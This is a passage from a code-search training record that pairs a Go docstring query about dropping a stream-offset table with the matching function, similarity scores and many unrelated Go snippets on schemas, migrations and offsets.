`)\n\tew.writeString(`\"additionalProperties\": false, `)\n\tew.writeString(`\"properties\": {`)\n\tvar required []string\n\tvar notFirst bool\n\tfor _, key := range sortedFieldNames(s.Fields) {\n\t\tfield := s.Fields[key]\n\t\tif notFirst {\n\t\t\tew.writeString(\", \")\n\t\t}\n\t\tnotFirst = true\n\t\tif field.Required {\n\t\t\trequired = append(required, fmt.Sprintf(\"%q\", key))\n\t\t}\n\t\tew.err = encodeField(ew, key, field)\n\t\tif ew.err != nil {\n\t\t\treturn ew.err\n\t\t}\n\t}\n\tew.writeString(\"}\")\n\tif s.MinLen > 0 {\n\t\tew.writeFormat(`, \"minProperties\": %s`, strconv.FormatInt(int64(s.MinLen), 10))\n\t}\n\tif s.MaxLen > 0 {\n\t\tew.writeFormat(`, \"maxProperties\": %s`, strconv.FormatInt(int64(s.MaxLen), 10))\n\t}\n\n\tif len(required) > 0 {\n\t\tew.writeFormat(`, \"required\": [%s]`, strings.Join(required, \", \"))\n\t}\n\treturn ew.err\n}", "func jndiTopicSchema() map[string]*schema.Schema {\n\treturn map[string]*schema.Schema{\n\t\tMSG_VPN_NAME: {\n\t\t\tType: schema.TypeString,\n\t\t\tRequired: true,\n\t\t},\n\t\tPHYSICAL_NAME: {\n\t\t\tType: schema.TypeString,\n\t\t\tRequired: true,\n\t\t},\n\t\tTOPIC_NAME: {\n\t\t\tType: schema.TypeString,\n\t\t\tOptional: true,\n\t\t},\n\n\t}\n}", "func NewExecutableSchema(cfg Config) graphql.ExecutableSchema {\n\treturn &executableSchema{\n\t\tresolvers: cfg.Resolvers,\n\t\tdirectives: cfg.Directives,\n\t\tcomplexity: cfg.Complexity,\n\t}\n}", "func NewExecutableSchema(cfg Config) graphql.ExecutableSchema {\n\treturn &executableSchema{\n\t\tresolvers: cfg.Resolvers,\n\t\tdirectives: cfg.Directives,\n\t\tcomplexity: cfg.Complexity,\n\t}\n}", "func NewExecutableSchema(cfg Config) graphql.ExecutableSchema {\n\treturn &executableSchema{\n\t\tresolvers: cfg.Resolvers,\n\t\tdirectives: cfg.Directives,\n\t\tcomplexity: cfg.Complexity,\n\t}\n}", "func NewExecutableSchema(cfg Config) graphql.ExecutableSchema {\n\treturn &executableSchema{\n\t\tresolvers: cfg.Resolvers,\n\t\tdirectives: cfg.Directives,\n\t\tcomplexity: cfg.Complexity,\n\t}\n}", "func NewExecutableSchema(cfg Config) graphql.ExecutableSchema {\n\treturn &executableSchema{\n\t\tresolvers: cfg.Resolvers,\n\t\tdirectives: cfg.Directives,\n\t\tcomplexity: cfg.Complexity,\n\t}\n}", "func NewExecutableSchema(cfg Config) graphql.ExecutableSchema {\n\treturn &executableSchema{\n\t\tresolvers: cfg.Resolvers,\n\t\tdirectives: cfg.Directives,\n\t\tcomplexity: cfg.Complexity,\n\t}\n}", "func NewExecutableSchema(cfg Config) graphql.ExecutableSchema {\n\treturn &executableSchema{\n\t\tresolvers: cfg.Resolvers,\n\t\tdirectives: cfg.Directives,\n\t\tcomplexity: cfg.Complexity,\n\t}\n}", "func NewExecutableSchema(cfg Config) graphql.ExecutableSchema {\n\treturn &executableSchema{\n\t\tresolvers: cfg.Resolvers,\n\t\tdirectives: cfg.Directives,\n\t\tcomplexity: cfg.Complexity,\n\t}\n}", "func NewExecutableSchema(cfg Config) graphql.ExecutableSchema {\n\treturn &executableSchema{\n\t\tresolvers: cfg.Resolvers,\n\t\tdirectives: cfg.Directives,\n\t\tcomplexity: cfg.Complexity,\n\t}\n}", "func NewExecutableSchema(cfg Config) graphql.ExecutableSchema {\n\treturn &executableSchema{\n\t\tresolvers: cfg.Resolvers,\n\t\tdirectives: cfg.Directives,\n\t\tcomplexity: cfg.Complexity,\n\t}\n}", "func NewExecutableSchema(cfg Config) graphql.ExecutableSchema {\n\treturn &executableSchema{\n\t\tresolvers: cfg.Resolvers,\n\t\tdirectives: cfg.Directives,\n\t\tcomplexity: cfg.Complexity,\n\t}\n}", "func NewExecutableSchema(cfg Config) graphql.ExecutableSchema {\n\treturn &executableSchema{\n\t\tresolvers: cfg.Resolvers,\n\t\tdirectives: cfg.Directives,\n\t\tcomplexity: cfg.Complexity,\n\t}\n}" ]
[ "0.6668258", "0.59531236", "0.4917406", "0.4842255", "0.48148918", "0.48063517", "0.48004463", "0.47688976", "0.47340184", "0.46674427", "0.46646196", "0.46415585", "0.46394846", "0.46318924", "0.46213883", "0.4616732", "0.4608155", "0.4595821", "0.45910755", "0.45858547", "0.45639133", "0.4555897", "0.45276812", "0.45218712", "0.45120364", "0.45109057", "0.44895414", "0.44874823", "0.4464915", "0.44587517", "0.44554448", "0.44537938", "0.44529936", "0.4436488", "0.44322333", "0.4431503", "0.44202852", "0.4415967", "0.44126263", "0.44109002", "0.44101784", "0.44067797", "0.44006717", "0.43992752", "0.43981582", "0.43970346", "0.4387401", "0.4365192", "0.4363415", "0.43524486", "0.4350645", "0.43392858", "0.4339222", "0.43391517", "0.4321907", "0.43109024", "0.43080947", "0.4301441", "0.42886", "0.4286191", "0.42782477", "0.42727086", "0.42671844", "0.42603436", "0.42531338", "0.42462468", "0.42456043", "0.42440823", "0.42411187", "0.4232379", "0.42124626", "0.42124626", "0.42124626", "0.42124626", "0.42124626", "0.42124626", "0.42119718", "0.4207596", "0.41972136", "0.41971302", "0.4196089", "0.41826344", "0.41797212", "0.41747713", "0.41701588", "0.4162122", "0.4160802", "0.41582167", "0.41581282", "0.41581282", "0.41581282", "0.41581282", "0.41581282", "0.41581282", "0.41581282", "0.41581282", "0.41581282", "0.41581282", "0.41581282", "0.41581282" ]
0.8171505
0
dropOffsetSchema drops the schema elements for stream offsets.
func dropOffsetSchema(ctx context.Context, db *sql.DB) { sqlx.Exec(ctx, db, `DROP TABLE IF EXISTS stream_offset`) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (t *Telly) DropOffsets() error {\n\t_, err := t.metaTable().Get(t.offsetKey()).Delete().RunWrite(t.Executor())\n\treturn err\n}", "func createOffsetSchema(ctx context.Context, db *sql.DB) {\n\tsqlx.Exec(\n\t\tctx,\n\t\tdb,\n\t\t`CREATE TABLE IF NOT EXISTS stream_offset (\n\t\t\tapp_key VARBINARY(255) NOT NULL,\n\t\t\tsource_app_key VARBINARY(255) NOT NULL,\n\t\t\tnext_offset BIGINT NOT NULL,\n\n\t\t\tPRIMARY KEY (app_key, source_app_key)\n\t\t) ENGINE=InnoDB`,\n\t)\n}", "func (sb *SchemaBuilder) Drop() string {\n\treturn fmt.Sprintf(`DROP SCHEMA %v`, sb.QualifiedName())\n}", "func DropSchema(ctx context.Context, db Execer, schema string) error {\n\t_, err := db.ExecContext(ctx, `DROP SCHEMA `+QuoteSchema(schema)+` CASCADE;`)\n\treturn err\n}", "func (query *Query) CleanOffset() *Query {\n\treturn query.clean(OFFSET)\n}", "func (c ViewSchema) Drop() {\n\tvar quoteRegex = regexp.MustCompile(`(^\\w*)(\\.)(\\w*)`)\n\tfmt.Printf(\"DROP VIEW %s;\\n\\n\", quoteRegex.ReplaceAllString(c.get(\"viewname\"), `\"$1\"$2\"$3\"`))\n}", "func DestroySchema(tx *sql.Tx) error {\n\tfor i := len(allSQL) - 1; i >= 0; i-- {\n\t\tif _, err := tx.Exec(allSQL[i].DropSQL()); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (m *Migrator) MigrateSchemaDownFully(ctx context.Context, schema string) error {\n\ttx, deferFunc, err := m.migratePreamble(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer deferFunc(err)\n\terr = m.migrateDownFully(ctx, schema, false, tx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = tx.Commit(ctx)\n\treturn err\n}", "func ClearSchema(p interface{}) {\n\tschema := p.(*Schema)\n\tschema.Indices = make(map[string]*Index)\n\n\ttemp2 := schema.Triggers\n\tschema.Triggers = make(map[string]*Trigger)\n\tfor _, t := range temp2 {\n\t\t(*sqlite3)(nil).DeleteTrigger(t)\n\t}\n\n\ttemp1 := schema.Tables\n\tschema.Tables = make(map[string]*Table)\n\tfor _, t := range temp1 {\n\t\t(*sqlite3)(nil).DeleteTable(0, t)\n\t}\n\n\tschema.ForeignKeys = make(map[string]*ForeignKey)\n\tschema.pSeqTab = nil\n\tif schema.flags & DB_SchemaLoaded {\n\t\tschema.iGeneration++\n\t\tschema.flags &= ~DB_SchemaLoaded\n\t}\n}", "func RemoveSchema(connDetail ConnectionDetails, schemaName string) error {\n\n\tvar db *sql.DB\n\tvar err error\n\n\tif db, err = connect(connDetail); err != nil {\n\t\treturn err\n\t}\n\tdefer db.Close()\n\n\t_, err = db.Exec(fmt.Sprintf(\"DROP SCHEMA IF EXISTS %s CASCADE;\", schemaName))\n\treturn err\n}", "func (d UserData) UnsetTZOffset() m.UserData {\n\td.ModelData.Unset(models.NewFieldName(\"TZOffset\", \"tz_offset\"))\n\treturn d\n}", "func (it *iterator) resetSchema(schemaDesc namespace.SchemaDescr) {\n\tif schemaDesc == nil {\n\t\tit.schemaDesc = nil\n\t\tit.schema = nil\n\n\t\t// Clear but don't set to nil so they don't need to be reallocated\n\t\t// next time.\n\t\tcustomFields := it.customFields\n\t\tfor i := range customFields {\n\t\t\tcustomFields[i] = customFieldState{}\n\t\t}\n\t\tit.customFields = customFields[:0]\n\n\t\tnonCustomFields := it.nonCustomFields\n\t\tfor i := range nonCustomFields {\n\t\t\tnonCustomFields[i] = marshalledField{}\n\t\t}\n\t\tit.nonCustomFields = nonCustomFields[:0]\n\t\treturn\n\t}\n\n\tit.schemaDesc = schemaDesc\n\tit.schema = schemaDesc.Get().MessageDescriptor\n\tit.customFields, it.nonCustomFields = customAndNonCustomFields(it.customFields, nil, it.schema)\n}", "func (fb *ExternalFunctionBuilder) Drop() string {\n\treturn fmt.Sprintf(`DROP FUNCTION %v`, fb.QualifiedNameWithArgTypes())\n}", "func (e *Element) DropTimestamp() {\n\te.Timestamp = nil\n}", "func resetSchema(db *Database) error {\n\t_, err := db.DB.Exec(fmt.Sprintf(`DROP SCHEMA %s CASCADE`, PGSchema))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = db.DB.Exec(fmt.Sprintf(`CREATE SCHEMA %s`, PGSchema))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (sd *SelectDataset) ClearOffset() *SelectDataset {\n\treturn sd.copy(sd.clauses.ClearOffset())\n}", "func freeSchemaPtr(xsdHandler *XsdHandler) {\n\tif xsdHandler.schemaPtr != nil {\n\t\tC.xmlSchemaFree(xsdHandler.schemaPtr)\n\t}\n}", "func UnzipSchema() (map[string]*yang.Entry, error) {\n\tvar schemaTree map[string]*yang.Entry\n\tvar err error\n\tif schemaTree, err = ygot.GzipToSchema(ySchema); err != nil {\n\t\treturn nil, fmt.Errorf(\"could not unzip the schema; %v\", err)\n\t}\n\treturn schemaTree, nil\n}", "func UnzipSchema() (map[string]*yang.Entry, error) {\n\tvar schemaTree map[string]*yang.Entry\n\tvar err error\n\tif schemaTree, err = ygot.GzipToSchema(ySchema); err != nil {\n\t\treturn nil, fmt.Errorf(\"could not unzip the schema; %v\", err)\n\t}\n\treturn schemaTree, nil\n}", "func UnzipSchema() (map[string]*yang.Entry, error) {\n\tvar schemaTree map[string]*yang.Entry\n\tvar err error\n\tif schemaTree, err = ygot.GzipToSchema(ySchema); err != nil {\n\t\treturn nil, fmt.Errorf(\"could not unzip the schema; %v\", err)\n\t}\n\treturn schemaTree, nil\n}", "func UnzipSchema() (map[string]*yang.Entry, error) {\n\tvar schemaTree map[string]*yang.Entry\n\tvar err error\n\tif schemaTree, err = ygot.GzipToSchema(ySchema); err != nil {\n\t\treturn nil, fmt.Errorf(\"could not unzip the schema; %v\", err)\n\t}\n\treturn schemaTree, nil\n}", "func UnzipSchema() (map[string]*yang.Entry, error) {\n\tvar schemaTree map[string]*yang.Entry\n\tvar err error\n\tif schemaTree, err = ygot.GzipToSchema(ySchema); err != nil {\n\t\treturn nil, fmt.Errorf(\"could not unzip the schema; %v\", err)\n\t}\n\treturn schemaTree, nil\n}", "func UnzipSchema() (map[string]*yang.Entry, error) {\n\tvar schemaTree map[string]*yang.Entry\n\tvar err error\n\tif schemaTree, err = ygot.GzipToSchema(ySchema); err != nil {\n\t\treturn nil, fmt.Errorf(\"could not unzip the schema; %v\", err)\n\t}\n\treturn schemaTree, nil\n}", "func DeleteSchema(c *mgin.Context) {\n\tindex := c.Param(\"index\")\n\n\tindexer.RemoveIndexer(index)\n\tif err := conf.DeleteSchema(index); err != nil {\n\t\tc.Error(http.StatusInternalServerError, err.Error())\n\t\treturn\n\t}\n\n\tc.JSON(http.StatusOK, map[string]interface{}{\n\t\t\"code\": http.StatusOK,\n\t\t\"msg\": \"schema deleted\",\n\t\t\"index\": index,\n\t})\n}", "func (sc *SchemaChanger) truncateIndexes(\n\tctx context.Context, version descpb.DescriptorVersion, dropped []descpb.IndexDescriptor,\n) error {\n\tlog.Infof(ctx, \"clearing data for %d indexes\", len(dropped))\n\n\tchunkSize := sc.getChunkSize(indexTruncateChunkSize)\n\tif sc.testingKnobs.BackfillChunkSize > 0 {\n\t\tchunkSize = sc.testingKnobs.BackfillChunkSize\n\t}\n\talloc := &rowenc.DatumAlloc{}\n\tfor _, desc := range dropped {\n\t\tvar resume roachpb.Span\n\t\tfor rowIdx, done := int64(0), false; !done; rowIdx += chunkSize {\n\t\t\tresumeAt := resume\n\t\t\tif log.V(2) {\n\t\t\t\tlog.Infof(ctx, \"drop index (%d, %d) at row: %d, span: %s\",\n\t\t\t\t\tsc.descID, sc.mutationID, rowIdx, resume)\n\t\t\t}\n\n\t\t\t// Make a new txn just to drop this chunk.\n\t\t\tif err := sc.db.Txn(ctx, func(ctx context.Context, txn *kv.Txn) error {\n\t\t\t\tif fn := sc.execCfg.DistSQLRunTestingKnobs.RunBeforeBackfillChunk; fn != nil {\n\t\t\t\t\tif err := fn(resume); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif fn := sc.execCfg.DistSQLRunTestingKnobs.RunAfterBackfillChunk; fn != nil {\n\t\t\t\t\tdefer fn()\n\t\t\t\t}\n\n\t\t\t\t// Retrieve a lease for this table inside the current txn.\n\t\t\t\ttc := descs.NewCollection(sc.settings, sc.leaseMgr, nil /* hydratedTables */)\n\t\t\t\tdefer tc.ReleaseAll(ctx)\n\t\t\t\ttableDesc, err := sc.getTableVersion(ctx, txn, tc, version)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\trd := row.MakeDeleter(sc.execCfg.Codec, tableDesc, nil /* requestedCols */)\n\t\t\t\ttd := tableDeleter{rd: rd, alloc: alloc}\n\t\t\t\tif err := td.init(ctx, txn, nil /* *tree.EvalContext */); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tif !canClearRangeForDrop(&desc) {\n\t\t\t\t\tresume, err = td.deleteIndex(\n\t\t\t\t\t\tctx,\n\t\t\t\t\t\t&desc,\n\t\t\t\t\t\tresumeAt,\n\t\t\t\t\t\tchunkSize,\n\t\t\t\t\t\tfalse, /* traceKV */\n\t\t\t\t\t)\n\t\t\t\t\tdone = resume.Key == nil\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tdone = true\n\t\t\t\treturn td.clearIndex(ctx, &desc)\n\t\t\t}); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\t// All the data chunks have been removed. Now also removed the\n\t\t// zone configs for the dropped indexes, if any.\n\t\tif err := sc.db.Txn(ctx, func(ctx context.Context, txn *kv.Txn) error {\n\t\t\ttable, err := catalogkv.MustGetTableDescByID(ctx, txn, sc.execCfg.Codec, sc.descID)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn RemoveIndexZoneConfigs(ctx, txn, sc.execCfg, table, dropped)\n\t\t}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tlog.Info(ctx, \"finished clearing data for indexes\")\n\treturn nil\n}", "func (w *windowTransformation2) createSchema(cols []flux.ColMeta) []flux.ColMeta {\n\tncols := len(cols)\n\tif execute.ColIdx(w.startCol, cols) < 0 {\n\t\tncols++\n\t}\n\tif execute.ColIdx(w.stopCol, cols) < 0 {\n\t\tncols++\n\t}\n\n\tnewCols := make([]flux.ColMeta, 0, ncols)\n\tfor _, col := range cols {\n\t\tif col.Label == w.startCol || col.Label == w.stopCol {\n\t\t\tcol.Type = flux.TTime\n\t\t}\n\t\tnewCols = append(newCols, col)\n\t}\n\n\tif execute.ColIdx(w.startCol, newCols) < 0 {\n\t\tnewCols = append(newCols, flux.ColMeta{\n\t\t\tLabel: w.startCol,\n\t\t\tType: flux.TTime,\n\t\t})\n\t}\n\n\tif execute.ColIdx(w.stopCol, newCols) < 0 {\n\t\tnewCols = append(newCols, flux.ColMeta{\n\t\t\tLabel: w.stopCol,\n\t\t\tType: flux.TTime,\n\t\t})\n\t}\n\treturn newCols\n}", "func (s *BasePlSqlParserListener) ExitXmlschema_spec(ctx *Xmlschema_specContext) {}", "func StructFromSchema(schema avro.Schema, w io.Writer, cfg Config) error {\n\trec, ok := schema.(*avro.RecordSchema)\n\tif !ok {\n\t\treturn errors.New(\"can only generate Go code from Record Schemas\")\n\t}\n\n\topts := []OptsFunc{\n\t\tWithFullName(cfg.FullName),\n\t\tWithEncoders(cfg.Encoders),\n\t}\n\tg := NewGenerator(strcase.ToSnake(cfg.PackageName), cfg.Tags, opts...)\n\tg.Parse(rec)\n\n\tbuf := &bytes.Buffer{}\n\tif err := g.Write(buf); err != nil {\n\t\treturn err\n\t}\n\n\tformatted, err := format.Source(buf.Bytes())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not format code: %w\", err)\n\t}\n\n\t_, err = w.Write(formatted)\n\treturn err\n}", "func (db *DatabaseModel) ClearSchema() {\n\tdb.mutex.Lock()\n\tdefer db.mutex.Unlock()\n\tdb.schema = nil\n\tdb.mapper = nil\n}", "func UpdateSchema() error {\r\n\tif !conf.Config.IsOBSMaster() {\r\n\t\tb := &Block{}\r\n\t\tif found, err := b.GetMaxBlock(); !found {\r\n\t\t\treturn err\r\n\t\t}\r\n\t}\r\n\treturn migration.UpdateMigrate(&MigrationHistory{})\r\n}", "func (sb *SchemaBuilder) Undrop() string {\n\treturn fmt.Sprintf(`UNDROP SCHEMA %v`, sb.QualifiedName())\n}", "func payloadFromSchema(schema *arrow.Schema, mem memory.Allocator, memo *dictutils.Mapper) payloads {\n\tps := make(payloads, 1)\n\tps[0].msg = MessageSchema\n\tps[0].meta = writeSchemaMessage(schema, mem, memo)\n\n\treturn ps\n}", "func (f *Fixr) TearDown() (err error) {\n\t// drop schema\n\terr = f.drop()\n\treturn\n}", "func (un *Decoder) SetSchema(e *yang.Entry) { un.schema = e }", "func (d *DAO) DropTables() error {\n\treturn d.dbSession.Migrator().DropTable(ds.Room{})\n}", "func fixOpenAPISchema(name string, schema *openapi3.Schema) {\n\tt := schema.Type\n\tswitch t {\n\tcase \"object\":\n\t\tfor k, v := range schema.Properties {\n\t\t\ts := v.Value\n\t\t\tfixOpenAPISchema(k, s)\n\t\t}\n\tcase \"array\":\n\t\tfixOpenAPISchema(\"\", schema.Items.Value)\n\t}\n\tif name != \"\" {\n\t\tschema.Title = name\n\t}\n\n\tdescription := schema.Description\n\tif strings.Contains(description, UsageTag) {\n\t\tdescription = strings.Split(description, UsageTag)[1]\n\t}\n\tif strings.Contains(description, ShortTag) {\n\t\tdescription = strings.Split(description, ShortTag)[0]\n\t\tdescription = strings.TrimSpace(description)\n\t}\n\tschema.Description = description\n}", "func HandleDeleteEventingSchema(adminMan *admin.Manager, syncMan *syncman.Manager) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\n\t\t// Get the JWT token from header\n\t\ttoken := utils.GetTokenFromHeader(r)\n\n\t\tvars := mux.Vars(r)\n\t\tprojectID := vars[\"project\"]\n\t\tevType := vars[\"id\"]\n\n\t\tdefer utils.CloseTheCloser(r.Body)\n\n\t\tctx, cancel := context.WithTimeout(r.Context(), time.Duration(utils.DefaultContextTime)*time.Second)\n\t\tdefer cancel()\n\n\t\t// Check if the request is authorised\n\t\treqParams, err := adminMan.IsTokenValid(ctx, token, \"eventing-schema\", \"modify\", map[string]string{\"project\": projectID, \"id\": evType})\n\t\tif err != nil {\n\t\t\t_ = helpers.Logger.LogError(helpers.GetRequestID(ctx), \"Failed to validate token for delete eventing schema\", err, nil)\n\t\t\t_ = helpers.Response.SendErrorResponse(ctx, w, http.StatusUnauthorized, err)\n\t\t\treturn\n\t\t}\n\n\t\treqParams = utils.ExtractRequestParams(r, reqParams, nil)\n\t\tstatus, err := syncMan.SetDeleteEventingSchema(ctx, projectID, evType, reqParams)\n\t\tif err != nil {\n\t\t\t_ = helpers.Logger.LogError(helpers.GetRequestID(ctx), \"Failed to delete eventing schema\", err, nil)\n\t\t\t_ = helpers.Response.SendErrorResponse(ctx, w, status, err)\n\t\t\treturn\n\t\t}\n\n\t\t_ = helpers.Response.SendOkayResponse(ctx, status, w)\n\t}\n}", "func removeProtoMetadataValidation(s *apiextv1.JSONSchemaProps) {\n\tdelete(s.Properties, \"metadata\")\n}", "func (mc *MySQL57ColumnStructure) GenerateDropQuery() string {\n\treturn \"DROP COLUMN `\" + string(mc.Field) + \"`\"\n}", "func (sow *OutputWidget) Unlayout(g *gocui.Gui) error {\n\tviewName := sow.viewName()\n\tv, err := g.View(viewName)\n\tif err != nil && err != gocui.ErrUnknownView {\n\t\treturn err\n\t}\n\tif err != gocui.ErrUnknownView {\n\t\tv.Clear()\n\t\tg.DeleteView(viewName)\n\t}\n\treturn nil\n}", "func (m *Mysql) DropTables() error {\n\tfor tableName := range schemas {\n\t\tquery := fmt.Sprintf(\"DROP TABLE IF EXISTS %v\", tableName)\n\t\t_, err := m.IDB.Exec(query)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (c FunctionSchema) Drop() {\n\tfmt.Println(\"-- Note that CASCADE in the statement below will also drop any triggers depending on this function.\")\n\tfmt.Println(\"-- Also, if there are two functions with this name, you will want to add arguments to identify the correct one to drop.\")\n\tfmt.Println(\"-- (See http://www.postgresql.org/docs/9.4/interactive/sql-dropfunction.html) \")\n\tfmt.Printf(\"DROP FUNCTION %s.%s CASCADE;\\n\", c.get(\"schema_name\"), c.get(\"function_name\"))\n}", "func (oa *offsetAdmin) ResetOffset(partition int32, targetOffset int64) (err error) {\n\tif !oa.Valid() {\n\t\terr = fmt.Errorf(\"No specified Group and/or Topic\")\n\t\treturn\n\t}\n\toa.om, err = sarama.NewOffsetManagerFromClient(oa.grp, oa.client)\n\tif err != nil {\n\t\treturn\n\t}\n\toa.pom, err = oa.om.ManagePartition(oa.top, partition)\n\tif err != nil {\n\t\treturn\n\t}\n\toa.pom.ResetOffset(targetOffset, \"\")\n\terr = oa.om.Close()\n\tif err != nil {\n\t\treturn\n\t}\n\terr = oa.pom.Close()\n\tif err != nil {\n\t\treturn\n\t}\n\treturn\n}", "func Down_20151013175608(txn *sql.Tx) {\n\tif _, err := txn.Exec(\"drop table locations\"); err != nil {\n\t\tfmt.Println(\"Error dropping locations table:\", err)\n\t}\n}", "func (f *function) drop() (err error) {\n\tif f.previousExists {\n\t\treturn f.codeUnit.drop(`DROP FUNCTION IF EXISTS ` + f.name + `(` + f.signature + `)`)\n\t}\n\n\treturn\n}", "func rollbackSchema(w io.Writer, projectID, schemaID, revisionID string) error {\n\t// projectID := \"my-project-id\"\n\t// schemaID := \"my-schema\"\n\t// revisionID := \"a1b2c3d4\"\n\tctx := context.Background()\n\tclient, err := pubsub.NewSchemaClient(ctx, projectID)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"pubsub.NewSchemaClient: %w\", err)\n\t}\n\tdefer client.Close()\n\n\ts, err := client.RollbackSchema(ctx, schemaID, revisionID)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"RollbackSchema: %w\", err)\n\t}\n\tfmt.Fprintf(w, \"Rolled back a schema: %#v\\n\", s)\n\treturn nil\n}", "func (o *QueryFirewallFieldsParams) SetOffset(offset *string) {\n\to.Offset = offset\n}", "func (sb *SchemaBuilder) Unmanage() string {\n\treturn fmt.Sprintf(`ALTER SCHEMA %v DISABLE MANAGED ACCESS`, sb.QualifiedName())\n}", "func DeserializeArraySchema(buffer *Buffer, serializationType SerializationType, clientSide bool) (*ArraySchema, error) {\n\tschema := ArraySchema{context: buffer.context}\n\n\tvar cClientSide C.int32_t\n\tif clientSide {\n\t\tcClientSide = 1\n\t} else {\n\t\tcClientSide = 0\n\t}\n\n\tret := C.tiledb_deserialize_array_schema(schema.context.tiledbContext, buffer.tiledbBuffer, C.tiledb_serialization_type_t(serializationType), cClientSide, &schema.tiledbArraySchema)\n\tif ret != C.TILEDB_OK {\n\t\treturn nil, fmt.Errorf(\"Error deserializing array schema: %s\", schema.context.LastError())\n\t}\n\n\t// This needs to happen *after* the tiledb_deserialize_array_schema call\n\t// because that may leave the arraySchema with a non-nil pointer\n\t// to already-freed memory.\n\tfreeOnGC(&schema)\n\n\treturn &schema, nil\n}", "func (p *Policy) FilterSchema(\n\tproperties map[string]interface{},\n\tpropertiesOrder, required []string,\n) (map[string]interface{}, []string, []string) {\n\tfilter := p.resource.PropertiesFilter\n\treturn filter.RemoveHiddenKeysFromMap(properties),\n\t\tfilter.RemoveHiddenKeysFromSlice(propertiesOrder),\n\t\tfilter.RemoveHiddenKeysFromSlice(required)\n}", "func (_options *ListTagsSubscriptionOptions) SetOffset(offset int64) *ListTagsSubscriptionOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func Down20170512173315(tx *sql.Tx) error {\n\t_, err := tx.Exec(\"alter table tokens drop constraint tokens_user_id_fkey;\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (s *BasePlSqlParserListener) ExitSchema_name(ctx *Schema_nameContext) {}", "func (o TemplateAxisDisplayOptionsOutput) AxisOffset() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v TemplateAxisDisplayOptions) *string { return v.AxisOffset }).(pulumi.StringPtrOutput)\n}", "func (o *AdminGetBannedDevicesV4Params) SetOffset(offset *int64) {\n\to.Offset = offset\n}", "func (o *GetRefPlantsParams) validateOffset(formats strfmt.Registry) error {\n\n\tif err := validate.MinimumInt(\"offset\", \"query\", o.Offset, 0, false); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (ot *T) dropOffersBefore(offset int64) {\n\tdrop := 0\n\tfor i, offer := range ot.offers {\n\t\tif offset <= offer.offset {\n\t\t\tbreak\n\t\t}\n\t\tdrop = i + 1\n\t\tot.actDesc.Log().Errorf(\"Offer dropped: offset=%d\", offer.offset)\n\t}\n\tif drop > 0 {\n\t\tleft := len(ot.offers) - drop\n\t\tcopy(ot.offers[:left], ot.offers[drop:])\n\t\t// Zero dropped offers to make them eligible for garbage collection.\n\t\tfor i := left; i < len(ot.offers); i++ {\n\t\t\tot.offers[i] = offer{}\n\t\t}\n\t\tot.offers = ot.offers[:left]\n\t}\n}", "func (Noop) Drop(ctx context.Context, node string, srcNode string) error { return nil }", "func AlterSchema(dg *dgo.Dgraph, ctx *context.Context, schema *string) error {\n\top := &api.Operation{}\n\top.Schema = *schema\n\terr := dg.Alter(*ctx, op)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func loadSchema() (*schema.PackageSpec, error) {\n\tvar pkgSpec schema.PackageSpec\n\tuncompressed, err := gzip.NewReader(bytes.NewReader(pulumiSchema))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"loading schema: %w\", err)\n\t}\n\n\tif err = json.NewDecoder(uncompressed).Decode(&pkgSpec); err != nil {\n\t\treturn nil, fmt.Errorf(\"deserializing schema: %w\", err)\n\t}\n\tif err = uncompressed.Close(); err != nil {\n\t\treturn nil, fmt.Errorf(\"closing uncompress stream for schema: %w\", err)\n\t}\n\t// embed version because go codegen is particularly sensitive to this.\n\tif pkgSpec.Version == \"\" {\n\t\tpkgSpec.Version = version.Version\n\t}\n\treturn &pkgSpec, nil\n}", "func emitSchema(pkgSpec *pschema.PackageSpec, version, outDir string, goPackageName string) error {\n\tschemaJSON, err := json.MarshalIndent(pkgSpec, \"\", \" \")\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"marshaling Pulumi schema\")\n\t}\n\n\t// Ensure the spec is stamped with a version.\n\tpkgSpec.Version = version\n\n\tcompressedSchema := bytes.Buffer{}\n\tcompressedWriter := gzip.NewWriter(&compressedSchema)\n\terr = json.NewEncoder(compressedWriter).Encode(pkgSpec)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"marshaling metadata\")\n\t}\n\tif err = compressedWriter.Close(); err != nil {\n\t\treturn err\n\t}\n\n\terr = emitFile(outDir, \"schema.go\", []byte(fmt.Sprintf(`package %s\nvar pulumiSchema = %#v\n`, goPackageName, compressedSchema.Bytes())))\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"saving metadata\")\n\t}\n\n\treturn emitFile(outDir, \"schema.json\", schemaJSON)\n}", "func UpgradeSchema(database *models.Database) error {\n\tdb, err := getDatabase(database)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn db.UpgradeSchema()\n}", "func (c *Conn) createComDropDb(schema string) ([]byte, error) {\n\tvar (\n\t\tb []byte\n\t\toff, payloadLength int\n\t\terr error\n\t)\n\n\tpayloadLength = 1 + // _COM_DROP_DB\n\t\tlen(schema) // length of schema name\n\n\tif b, err = c.buff.Reset(4 